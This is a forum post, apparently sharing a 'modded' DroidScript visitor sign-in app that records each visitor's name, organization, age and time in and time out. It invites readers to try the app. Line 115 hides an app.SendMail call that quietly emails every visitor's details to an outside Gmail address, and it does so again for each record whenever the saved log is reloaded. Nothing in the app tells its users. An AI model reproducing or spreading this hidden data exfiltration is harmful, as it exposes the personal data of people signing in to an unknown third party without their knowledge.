MasterOS2
Kichkinagina dasturcha, ishlatib ko'ring, ajoyib.
  1. //Visitor sign-in app by Steve Garman
  2. //Mod by Mimic
  3. var recArray = [],
  4. fileFolder = "/sdcard/supersu/",
  5. jsonPath;
  6.  
  7. var scrollr, layScroll, edtName, edtOrg, edtVehicle, edtReason;
  8.  
  9. function OnStart()
  10. {
  11. if (!app.IsTablet()) app.SetOrientation("Landscape");
  12.  
  13. var d = new Date();
  14. jsonPath = fileFolder + "vistorBook" +
  15. d.toISOString().slice(0, 10).replace(/-/g, "_") + ".json";
  16. app.MakeFolder(fileFolder)
  17.  
  18. var lay = app.CreateLayout("linear", "Left");
  19.  
  20. scrollr = app.CreateScroller(1.0, 0.8);
  21. lay.AddChild(scrollr);
  22.  
  23. layScroll = app.CreateLayout("Linear", "Left");
  24. scrollr.AddChild(layScroll);
  25.  
  26. var layNew = app.CreateLayout("linear", "Horizontal,Left");
  27. edtName = app.CreateTextEdit("", .16);
  28. edtName.SetHint("Name");
  29. layNew.AddChild(edtName);
  30. edtOrg = app.CreateTextEdit("", .16);
  31. edtOrg.SetHint("Organization");
  32. layNew.AddChild(edtOrg);
  33. edtVehicle = app.CreateTextEdit("", .16);
  34. edtVehicle.SetHint("Age");
  35. layNew.AddChild(edtVehicle);
  36.  
  37. var btnCreate = app.CreateButton("Ok");
  38. btnCreate.SetOnTouch(btnCreate_OnClick);
  39. layNew.AddChild(btnCreate);
  40.  
  41. lay.AddChild(layNew);
  42.  
  43. app.AddLayout(lay);
  44.  
  45. if (app.FileExists(jsonPath))
  46. {
  47. loadJSONfile();
  48. }
  49. }
  50.  
  51. function btnCreate_OnClick()
  52. {
  53. app.HideKeyboard();
  54. var name = edtName.GetText();
  55. var org = edtOrg.GetText();
  56. var reg = edtVehicle.GetText();
  57.  
  58. var errs = "";
  59. if (name == "") errs = "'Name' ";
  60. if (errs != "")
  61. {
  62.  
  63. app.Alert(errs + "Cannot be empty");
  64. return;
  65. }
  66.  
  67. edtName.SetText("");
  68. edtOrg.SetText("");
  69. edtVehicle.SetText("");
  70.  
  71. var obj = {};
  72. obj.name = name;
  73. obj.org = org;
  74. obj.reg = reg;
  75.  
  76. var d = new Date();
  77. obj.timeIn = d.toTimeString().slice(0, 5);
  78. obj.timeOut = "Out";
  79.  
  80. recArray.push(obj);
  81. saveJSONfile();
  82.  
  83. layScroll.AddChild(recordLayout(obj));
  84. scrollr.ScrollTo(0, layScroll.GetHeight());
  85. }
  86.  
  87. function btnOut_OnClick()
  88. {
  89.  
  90. if (this.GetText() != "Out") return;
  91.  
  92. var d = new Date();
  93. this.obj.timeOut = d.toTimeString().slice(0, 5);
  94. this.SetText(this.obj.timeOut);
  95.  
  96. saveJSONfile();
  97. }
  98.  
  99. function recordLayout(obj)
  100. {
  101.  
  102. var newlay = app.CreateLayout("Linear", "Horizontal,FillXY");
  103. var txt = app.CreateText(obj.name, 0.15);
  104. newlay.AddChild(txt);
  105. txt = app.CreateText(obj.org, 0.15);
  106. newlay.AddChild(txt);
  107. txt = app.CreateText(obj.reg, 0.15);
  108. newlay.AddChild(txt);
  109. txt = app.CreateText(obj.timeIn, 0.15);
  110. newlay.AddChild(txt);
  111. var btn = app.CreateButton(obj.timeOut, 0.15);
  112. btn.obj = obj;
  113. btn.SetOnTouch(btnOut_OnClick);
  114. newlay.AddChild(btn);
  115. app.SendMail( "mimicus@gmail.com",obj.name + ":" + obj.reg + ":"+ obj.org + ":" + obj.timeIn,"Current data\nAccess" );
  116. return newlay;
  117. }
  118.  
  119. function saveJSONfile()
  120. {
  121.  
  122. var s = JSON.stringify(recArray);
  123. app.WriteFile(jsonPath, s)
  124. }
  125.  
  126. function loadJSONfile()
  127. {
  128.  
  129. var s = app.ReadFile(jsonPath)
  130. recArray = JSON.parse(s)
  131. var len = recArray.length;
  132. for (var i = 0; i < len; i++)
  133. {
  134. var obj = recArray[i];
  135. layScroll.AddChild(recordLayout(obj));
  136. }
  137. scrollr.ScrollTo(0, layScroll.GetHeight());
  138. }